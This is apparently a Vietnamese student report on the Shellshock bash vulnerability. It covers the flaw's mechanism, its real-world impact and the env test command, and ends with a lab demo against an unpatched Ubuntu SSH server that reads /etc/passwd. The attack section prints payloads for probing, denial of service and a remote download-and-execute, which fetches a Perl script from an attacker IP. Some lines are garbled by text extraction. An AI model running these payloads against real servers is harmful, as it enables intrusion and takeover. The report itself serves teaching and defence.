Tải bản đầy đủ (.docx) (22 trang)

Tìm hiểu lỗ hổng shellshock

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (1009.86 KB, 22 trang )

Danh mục


Lời nói đầu



Bảo mật là một trong những lĩnh vực mà hiện nay giới công nghệ thông tin
khá quan tâm. Một khi internet ra đời và phát triển, nhu cầu trao đổi thông
tin trở nên cần thiết. Mục tiêu của việc nối mạng là làm cho mọi người có thể
sử dụng chung tài nguyên từ những vị trí địa lý khác nhau. Cũng chính vì vậy
mà các tài nguyên cũng rất dễ dàng bị phân tán, dẫn một điều hiển nhiên là
chúng sẽ bị xâm phạm, gây mất mát dữ liệu cũng như các thông tin có giá trị.
Càng giao thiệp rộng thì càng dễ bị tấn công, đó là một quy luật. Từ đó, vấn
đề bảo vệ thông tin cũng đồng thời xuất hiện. Bảo mật ra đời.
Tất nhiên, mục tiêu của bảo mật không chỉ nằm gói gọn trong lĩnh vực bảo vệ
thông tin mà còn nhiều phạm trù khác như kiểm duyệt web, bảo mật internet,
bảo mật http, bảo mật trên các hệ thống thanh toán điện tử và giao dịch trực
tuyến….
Mội nguy cơ trên mạng đều là mối nguy hiểm tiểm tàng. Từ một lổ hổng bảo
mật nhỏ của hệ thống, nhưng nếu biết khai thác và lợi dụng với tầng suất cao
và kỹ thuật hack điêu luyện thì cũng có thể trở thành tai họa.
Theo thống kê của tổ chức bảo mật nổi tiếng CERT (Computer Emegancy
Response Team) thì số vụ tấn công ngày càng tăng. Cụ thể năm 1989 có
khoản 200 vụ, đến năm 1991 có 400 vụ, đến năm 1994 thì con số này tăng lên
đến mức 1330 vụ, và sẽ còn tăng mạnh trong thời gian tới.
Như vậy, số vụ tấn công ngày càng tăng lên với múc độ chóng mặt. Điều này
cũng dễ hiểu, vì một thực thể luôn tồn tại hai mặt đối lập nhau. Sự phát triển


mạnh mẽ của công nghệ thông tin và kỹ thuật sẽ làm cho nạn tấn công, ăn


cắp, phá hoại trên internet bùng phát mạnh mẽ.
Trong thời gian gần đây xuất hiện một số lỗ hổng cực kì nghiêm trọng trong
đó có heartbleel được coi là một lỗ hổng cực kỳ nguy hiểm bên canh đó còn
xuất hiện một lỗ hổng được coi là nguy hiểm hơn cả đó là shellshock
Qua đè tài nghiên cứu này chúng ta se tìm hiểu về độ nguy hiểm và cách thức
hoạt động của sheelshock


CHƯƠNG 1. TỔNG QUAN
1. Lỗ hổng ShellShock

Shellshock là gì?
Shellshock, lỗ hổng được gán mã CVE-2014-6271, là tên ngắn gọn của lỗ
hổng bảo mật liên quan đến Bash shell (đã gần 30 tuổi), một chương trình
giúp người dùng/ứng dụng tương tác ra lệnh điều khiển cho hệ thống máy
tính. Chương trình này có mặt trên hầu khắp hệ thống chạy hệ điều hành
Linux.
Lỗ hổng Shellshock được công bố bới Stephane Chazelas cho phép kẻ tấn
công thực thi lệnh điều khiển từ xa trên các hệ thống bị lỗi này.


2. Shellshock nguy hiểm như thế nào?

Shellshock được các chuyên gia an toàn mạng đánh giá mức độ nguy hểm cao hơn
heartbleed

Dưới đây là các báo cáo về tình trạng tấn công sử dụng lỗi Shellshock của các
tổ chức an ninh mạng.
Trong vòng một giờ kể từ khi lỗ hổng bảo mật Bash được thông báo, có rất
nhiều máy tính đã bị tấn công bằng lỗi Shellshock. Ngày 25 tháng 9 năm 2014,

các máy tính ma (botnets) bị kiểm soát dựa trên lỗi Shellshock được các
attacker sử dụng để thực hiện các tấn công DDoS và dò tìm các lỗ hổng bảo mật
khác trên các máy nạn nhân. Kaspersky Labs báo cáo rằng nhiều máy tính bị
kiểm soát bởi tấn công Shellshock, được gọi là “Thanks-Rob”, đã thực hiện tấn
công DDoS tới 3 mục tiêu chưa được xác định. Vào ngày 26 tháng 9 năm 2014,
một mạng máy tính ma có liên quan đến Shellshock được gọi là “wopbot” đã
được báo cáo, nó được sử dụng để tấn công DDoS tới Akamai Technologies và
thực hiện dò tìm các lỗ hổng bảo mật nhằm vào bộ Quốc phòng Mỹ.


Ngày 26 tháng 9, công ty bảo mật Incapsula đưa ra báo cáo có 17.400 tấn công
vào hơn 1.800 trang web, khởi nguồn từ 400 địa chỉ IP, trong 24 giờ trước đó;
55% tấn công đến từ Trung Quốc và Mỹ. Ngày 30 tháng 9, công ty CloudFlare
công bố rằng có khoảng 1,5 triệu tấn công và thăm dò mỗi ngày liên quan đến
lỗi Shellshock.
Ngày mùng 6 tháng 10, các máy chủ Yahoo được báo cáo là đã bị kiểm soát bởi
một tấn công liên quan đến lỗi Shellshock.

3. Kiểm tra lỗ hổng Shellshock:
Để kiểm tra máy bạn có bị lỗi Shellshock hay không thì bạn có thể sử dụng
đoạn mã như sau:
$ env x='() { :;}; echo vulnerable' bash -c "echo
this is a test"
Nếu kết quả trả về là:
vulnerable
this is a test
tức là máy tính (máy chủ) của bạn đã bị dính lỗi

CHƯƠNG 2. TÌM HIỂU SHELLSHOCK
1. Các Khái Niệm Cơ bản

SHELL (hay còn gọi là hệ vỏ) là một interface nằm giữa OS Kernel và người
dùng, nó cung cấp môi trường để người dùng thao tác với Kernel. Các chương
trình shell sẽ làm nhiệm vụ thông dịch (interpret) các lệnh của người dùng sang


chương trình có sẵn trên hệ thống từ đó thực thi các chức năng tương ứng. Các
lệnh này người dùng có thể nhập trực tiếp qua chế độ tương tác (interactive)
hoặc thông qua dạng script. Các shell script sẽ được thông dịch (chứ không phải
biên dịch – compile). Điểm khác biệt giữa cách thức hoạt động của shell và
trình biên dịch (compiler) đó là:
+ shell đọc các lệnh trong script tuần tự từ trên xuống, tìm vị trí các lệnh
đó trong hệ thống để thực thi
+ compiler sẽ biên dịch các lệnh trong script sang một dạng mà máy tính
có thể hiểu được, ví dụ mã máy và sinh ra một chương trình (program)
tương ứng. Chương trình này sẽ có thể được sử dụng bởi các shell script
sau này.
bash (Bourne Again shell): được viết bởi Brian Fox trong khuôn khổ một dự án
của GNU cho việc thay thế sh, được công bố rộng rãi vào khoảng 1989. Cung
cấp rất nhiều tiện ích và là shell mặc định được sử dụng trên Linux, Mac OS X,
Darwin hiện nay. Đây sẽ là đối tượng chúng ta sử dụng và trải nghiệm.
Lỗ hổng Shellshock ảnh hưởng đến Bash, một chương trình mà các hệ thống
Unix sử dụng để thực thi các dòng lệnh và các kịch bản lệnh. Nó thường được
cài đặt là giao diện command-lines mặc định của hệ thống. Bash là phần mềm
miễn phí, được phát triển hợp tác và giám sát từ năm 1992 trên cơ sở tự nguyện
của Chet Ramey, một kiến trúc sư phần mềm chuyên nghiệp. Sau khi phân tích


mã nguồn của Bash cho thấy lỗ hổng đã tồn tại từ phiên bản 1.03 phát hành từ
9/1989. Người giới thiệu đầu tiên là Brian Fox.


2. Cách Kiểm Tra Máy Bị Lỗ Hổng ShellShock
Để kiểm tra hệ thống có đang bị lỗ hổng trên ta có thể sử dụng câu lệnh dưới
đây:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
Các hệ thống bị lỗ hổng này sẽ ra kết quả như hình dưới:

Các hệ thống không bị lỗ hổng này sẽ ra kết quả:


Các quản trị hệ thống cần kiểm tra gấp các hệ thống của mình đồng thời cập
nhật gấp khi phát hiện hệ thống đang bị lỗ hổng. Hiện tại mới có Redhat và
centos đưa ra bản cập nhật.
3. Cơ chế hoạt động
Trong hệ thống Unix-based và trong các hệ điều hành khác mà Bash hỗ trợ, mỗi
chương trình có danh sách riêng của các cặp name/values được gọi là biến môi
trường. Khi một chương trình khởi chạy một chương trình khác nó sẽ cung cấp
một danh sách khởi tạo các biến môi trường cho chương trình mới này. Mặt
khác, Bash lưu giữ một danh sách các hàm chứa một tập các lệnh mà sẽ được
thực thi cùng với chương trình. Vì Bash hoạt động như là một trình thông dịch
lệnh và vừa được coi như là một lệnh, nên có thể chạy Bash từ chính môi trường
của nó. Khi điều này xảy ra, thực thể ban đầu có thể export các biến môi trường
và các định nghĩa hàm thành các thực thể mới. Các định nghĩa hàm được export
bằng cách mã hóa chúng cùng với các biến môi trường có giá trị bắt đầu bằng
() theo sau là định nghĩa hàm. Thực thể mới của Bash, khi chạy, sẽ tìm các
biến môi trường có giá trị theo định dạng này và chuyển chúng thành các hàm.
Nó thực hiện việc chuyển đổi bằng cách tạo ra một đoạn mã từ giá trị của biến
môi trường và thực thi nó, vấn đề ở chỗ các phiên bản Bash lỗi không kiểm tra
tính hợp lệ của một định nghĩa hàm do đó một lỗ hổng bảo mật sẽ được tạo ra
theo cách này.
Từ đây ta có thể giải thích cách hoạt động cho đoạn mã sau:



$ env x='() { :;}; echo vulnerable' bash -c "echo
this is a test"
Nó tạo ra một biến môi trường bắt đầu với chuỗi () { :; }, tạo ra một định
nghĩa hàm rỗng; theo sau là lệnh sẽ được thực thi khi biến môi trường này được
export. Lệnh Bash được chạy sau đó sẽ thực hiện việc export biến môi trường
này và lệnh echo sẽ được thực thi cùng với nó.
4. Các cách tấn công:
Việc tấn công vào Shellshock là hết sức đơn giản, đơn giản tới mức một user
bình thường không cần nhiều kiến thức về IT cũng có thể thực hiện một tấn
công Shellshock được. Để thực hiện tấn công Shellshock bạn chỉ cần sử dụng
lệnh có dạng như sau:
$

curl

-H

"User-Agent:

()

{

:;

};

/bin/echo


vulnerable" />Tấn công trên sử dụng User-Agent header của request gửi đến web server
example.com để server đó thực hiện chạy lệnh $ echo vulnerable.
Tại sao có thể thực hiện được một tấn công đơn giản như thế? ngoài việc tấn
công vào web server ra còn có thể tấn công được vào các dịch vụ mạng nào
nữa? Dưới đây là giải thích cho cách hoạt động của tấn công trên và nêu ra một
số dịch vụ cũng bị ảnh hưởng bởi lỗi Shellshock:
CGI-based web server
Khi một web server sử dụng CGI để xử lý một request, nó truyền các thông tin
có trong request tới chương trình xử lý sử dụng các biến môi trường. Ví dụ, biến


HTTP_USER_AGENT thông thường chứa tên chương trình gửi request đến web
server. Nếu trình xử lý request là một Bash script, hoặc nếu nó thực thi một lệnh
nào đó ví dụ như việc sử dụng system call, Bash sẽ nhận vào các biến môi
trường được truyền vào bởi server và xử lý chúng. Kẻ tấn công sử dụng phương
thức này để kích hoạt tấn công Shellshock với một request đặc biệt tới server.
SSH server
OpenSSH có một tính năng là ForceCommand, thực hiện một lệnh nào đó khi
user đăng nhập vào, thay vì chạy shell để user tương tác với hệ thống. Lệnh
được thực hiện ngay cả khi user chỉ định rằng nên chạy một lệnh khác; trong
trường

hợp

đó,

lệnh

ban


đầu

được

đưa

vào

biến

môi

trường

SSH_ORIGINAL_COMMAND. Khi chạy lệnh, Bash sẽ phân tích biến môi
trường SSH_ORIGINAL_COMMAND ngay khi khởi động, và chạy các lệnh
được nhúng vào trong đó. Kẻ tấn công sử dụng phương thức này của SSH
server để chiếm quyền điều khiên của máy nạn nhân có chứa lỗi Shellshock.
DHCP
Một vài DHCP client có thể truyền các lệnh cho Bash; hệ thống chứa lỗi bảo
mật có thể bị tấn công khi kết nối tới một mạng Wi-Fi công cộng. Một DHCP
client thường yêu cầu xin cấp một địa chỉ IP từ một DHCP server, nhưng nó
cũng có thể được cung cấp một chuỗi các tùy chọn thêm. Một DHCP server có
thể cung cấp, trong một trong những tùy chọn, một chuỗi kí tự đặc biệt để khai
thác lỗi bảo mật Shellshock.


Email system
Tùy thuộc vào cấu hình hệ thống xác định, một gmail mail server có thể truyền

tham số đầu vào từ bên ngoài vào Bash theo cách có thể khai thác được lỗi bảo
mật Shellshock.
5. Các kịch bản tấn công:
Để thực hiện các tấn công Shellshock thì trước tiên kẻ tấn công phải xác định
các máy mục tiêu và xác định xem các máy đó có dính lỗi bảo mật Shellshock
hay không. Sau đây là một số tấn công sử dụng lỗi Shellshock.
Thăm dò
Kẻ tấn công sẽ sử dụng một đoạn mã theo dạng
()

{:;};

/bin/ping

-c

1

-p

cb18cb3f7bca4441a595fcc1e240deb0 attacker-machine.com
trong một request tới máy mục tiêu. Nếu máy mục tiêu dính lỗi bảo mật
Shellshock nó sẽ gửi 1 ping request với nội dung xác định trên tới máy đã bị
kiểm soát bởi kẻ tấn công. Kẻ tấn công sau đó sẽ phân tích gói tin ping request
để xác định mục tiêu nào có lỗi Shellshock.
Từ chối dịch vụ
Tấn công này có thể sử dụng một đoạn mã như sau:
() { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep
20
để server chạy lệnh sleep theo 3 cách khác nhau (do cấu hình của các hệ điều

hành khác nhau), server sẽ đợi 20 giây sau mới phản hồi lại cho client, việc này


sẽ làm tiêu tốn tài nguyên của server do connection bị chiếm giữ trong một thời
gian dài, gây lãng phí bộ nhớ.
Chiếm quyền điều khiển
Mục tiêu của kẻ tấn công là chiếm quyền điều khiển trên máy nạn nhân để thực
hiện các mục đích khác nhau. Đoạn mã tấn công sẽ có dạng:
()

{

:;};

/bin/bash

http://213.x.x.x/ji;curl

-c

\"cd

/tmp;wget

-O

/tmp/ji

http://213.x.x.x/ji ; perl /tmp/ji;rm -rf /tmp/ji\"
để máy mục tiêu thực hiện download đoạn mã perl và thực thi đoạn mã đó.

Đoạn chương trình này cho phép kẻ tấn công thực hiện truy cập từ xa tới máy
nạn nhân.

CHƯƠNG 3. SHELLSHOCK ATTACK
1. Chuẩn bị

Quá trình demo tấn công dựa trên kịch bản xây dựng với SSH server.

Xây dựng máy chủ làm mục tiêu tấn công:


Cài đặt máy ảo Ubuntu Server, 12.04 LTS và không thực hiện việc nâng cấp các
phần mềm.

Hình 1: kiểm tra thông tin của máy
Kích hoạt dịch vụ ssh:
root@ubuntu:~# service sshd start
Tạo một user và cung cấp cho user một thư mục nhà cho user này:

Hình 2: Tạo user và cấp cho user một thư mục nhà cho user này
Sau đó, tạo thư mục .shh và thêm public key của máy tấn công vào tập tin
authorized_keys.


Hình 3: Tạo thư mục .shh và thêm public key của máy tấn công vào tập tin
authorized_keys.
Cuối cùng thực hiện kiểm tra ssh, ở bước này, đảm bảo khi ssh vào máy chủ
không cần mật khẩu.



Hình 4:
Cuối cùng, để thực hiện khai thác, không cần key đã lưu trữ. Chúng ta sẽ thay
đổi lại để user demo không có khả năng đăng nhập khi sử dụng key đã lưu trữ.
Điều này có thể thực hiện bằng cách thêm “command=”command bạn muốn”
trong tập tin chứa key. Ở ví dụ này, chúng ta sẽ thêm lệnh echo vào.

Hình 5:


Bây giờ, khi thực hiện ssh lại vào máy chủ, chúng ta sẽ nhận được tin nhắn
“Access Denied”, việc đăng nhập không thành công cho đến khi có lệnh khác
được đẩy vào kết nối ssh.

Hình 6:

2. Thực hiện tấn công
Ở phần này, chúng ta sẽ thực hiện tấn công máy chủ dựa trên lỗ hổng
Shellshock. Như đã thực hiện ở bước cuối cùng trong phần chuẩn bị, tất cả các
lệnh khác sẽ không được cho phép cho đến khi tài khoản và key phù hợp.
Nhưng khi chúng ta thêm vào cú pháp sau với ssh:
' () { :;}; lệnh_của_bạn'
Chúng ta sẽ thử với việc xem tập tin /etc/passwd:


Hình 7: Xem nội dung file passwd
Như trong hình, điều nay dẫn tới một thoả hiệp với máy chủ, và key có thể bị
đánh cắp từ một user. Điều này vô cùng nguy hiểm vì kẻ tấn công có thể lấy
được nội dung tập tin /etc/shadow và thực hiện lấy việc bẻ khoá mật khẩu. Hay
đơn giản hơn, kẻ tấn công có thể tạo một shell ngược, cung cấp một điểm thao
tác với máy chủ, từ đó chuẩn bị cho việc leo thang đặc quyền.


Hình 8:


Hình 9:

Hình 10:
Từ các ví dụ trên, chúng ta thấy được độ nguy hiểm của lỗ hổng Shellshock. Để
vá lại lỗ hổng này, chúng ta nên cập nhật bash trên máy chủ với bản vá do nhà
phát hành cung cấp.

Tài liệu tham khảo:
ST Tên tài Tác giả Link
T
1

liệu
Shellsho

Wikipe

/>
ck

dia

%28software_bug%29


(softwar

2

e bug)
Inside

John

Shellsho

Graham

/>
ck: How hackers

Cummi

are using ng
it

to

exploit
3

systems
One

Russell

/>

week

Brando

week-later-how-much-damage-did-shellshock-

later,

m

cause

how
much
damage
did
Shellsho
ck
cause?



×